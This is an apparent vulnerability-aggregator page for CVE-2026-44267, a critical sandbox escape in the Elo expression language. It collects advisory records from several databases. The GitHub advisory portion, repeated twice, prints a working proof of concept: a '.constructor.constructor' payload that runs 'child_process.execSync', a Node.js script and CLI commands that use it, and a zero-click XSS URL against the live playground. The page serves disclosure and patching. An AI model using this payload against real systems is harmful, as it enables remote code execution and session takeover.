CVE-2026-44267
Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter
Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter
Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.
- Record
CVE-2026-44267- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-79, CWE-94, CWE-693, CWE-1336
- Updated
- 2026-11-07
EUVDEUVD-2026-116111
9.8
Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.
- Record
EUVD-2026-116111- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-07
GitHub AdvisoriesGHSA-33r5-xmm8-v6x5
9.8
Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access
Summary
An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."
Vulnerable sink and root cause
Three interacting sites in src/ produce the bug at commit 749af7b:
src/transform.ts:144–158— themember_accesshandler allows access on typesany,object, orarraywithout filtering the property name. This is the only place an integrator could have plugged a denylist.src/compilers/javascript.ts:210— the JS emitter writes${objectExpr}.${ir.property}verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.src/parser.ts:163–170, 748–750— the parser acceptsconstructor(and other JS meta-property names) as an ordinary identifier, so.constructorclears type-checking without triggering any warning.
Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.
Attack surfaces
All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:
| # | Entry point | Threat model |
|---|---|---|
| 1 | Browser playground — https://elo-lang.org/try/?code=…&run=1 | 0-click XSS / account takeover against elo-lang.org. ?run=1 triggers setTimeout(() => this.run(), 100) in playground_controller.ts:531; the server issues a 301 that preserves ?code=. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |
| 2 | bin/elo CLI | RCE on CI / DevOps hosts. Both node bin/elo payload.elo and node bin/elo -e "_" -d @payload.elo -f elo fire. The -f elo path is especially severe: the flag exists to pass user-supplied files as data into an Elo pipeline. No integrator expects a data-format flag to shell out to /usr/bin/id. |
| 3 | Library API — defaultFormats.elo.parse() | Node.js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |
Proof of Concept
Common payload (works on all three entry points):
({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()
Library API — poc-minimal.js:
// npm install elo
const { defaultFormats } = require('elo');
const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";
console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…
CLI — poc-cli.sh:
node bin/elo payload.elo
# uid=1000(ultrasupara)…
node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…
Browser playground — 0-click XSS URL:
https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1
Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.
Independence from GHSA #3 (AST-API injection)
This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's…
- Record
GHSA-33r5-xmm8-v6x5- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-79, CWE-94, CWE-693, CWE-1336
- Updated
- 2026-11-03
NVD
9.8
Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.
- Record
CVE-2026-44267- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-79, CWE-94, CWE-693, CWE-1336
- Updated
- 2026-11-07
OSV
9.8
Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter
Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.
- Record
CVE-2026-44267- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-693, CWE-79, CWE-94
- Updated
- 2026-11-05
OSVGHSA-33r5-xmm8-v6x5
9.8
Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access
Summary
An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."
Vulnerable sink and root cause
Three interacting sites in src/ produce the bug at commit 749af7b:
src/transform.ts:144–158— themember_accesshandler allows access on typesany,object, orarraywithout filtering the property name. This is the only place an integrator could have plugged a denylist.src/compilers/javascript.ts:210— the JS emitter writes${objectExpr}.${ir.property}verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.src/parser.ts:163–170, 748–750— the parser acceptsconstructor(and other JS meta-property names) as an ordinary identifier, so.constructorclears type-checking without triggering any warning.
Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.
Attack surfaces
All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:
| # | Entry point | Threat model |
|---|---|---|
| 1 | Browser playground — https://elo-lang.org/try/?code=…&run=1 | 0-click XSS / account takeover against elo-lang.org. ?run=1 triggers setTimeout(() => this.run(), 100) in playground_controller.ts:531; the server issues a 301 that preserves ?code=. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |
| 2 | bin/elo CLI | RCE on CI / DevOps hosts. Both node bin/elo payload.elo and node bin/elo -e "_" -d @payload.elo -f elo fire. The -f elo path is especially severe: the flag exists to pass user-supplied files as data into an Elo pipeline. No integrator expects a data-format flag to shell out to /usr/bin/id. |
| 3 | Library API — defaultFormats.elo.parse() | Node.js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |
Proof of Concept
Common payload (works on all three entry points):
({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()
Library API — poc-minimal.js:
// npm install elo
const { defaultFormats } = require('elo');
const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";
console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…
CLI — poc-cli.sh:
node bin/elo payload.elo
# uid=1000(ultrasupara)…
node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…
Browser playground — 0-click XSS URL:
https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1
Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.
Independence from GHSA #3 (AST-API injection)
This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's…
- Record
GHSA-33r5-xmm8-v6x5- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-693, CWE-79, CWE-94
- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@enspirit/elonpm |
through 1.0.0 | 1.0.1 |
@enspirit/elonpm |
before 1.0.1 | 1.0.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | umair-aziz025/CVE-2026-44267 | 2026-11-04 |
History
| Recorded | Changed | Sources |
|---|---|---|
| references | CVE List, EUVD | |
| exploits, facts | OSV, PoC in GitHub | |
| references | OSV | |
| published | EUVD, NVD | |
| aliases | EUVD | |
| description, products, published, references, severity, title | CVE List | |
| affected, references | OSV | |
| first indexed | GitHub Advisories |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44267 is a critical vulnerability (CVSS 9.8) in Enspirit Elo, published November 3, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.83%, the 57th percentile. Fixed in @enspirit/elo 1.0.1.
References
github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5
github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842
github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5
github.com/advisories/GHSA-33r5-xmm8-v6x5
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44267.json
nvd.nist.gov/vuln/detail/CVE-2026-44267
github.com/enspirit/elo
Left out here: the rest of 2 source descriptions. The JSON record has them.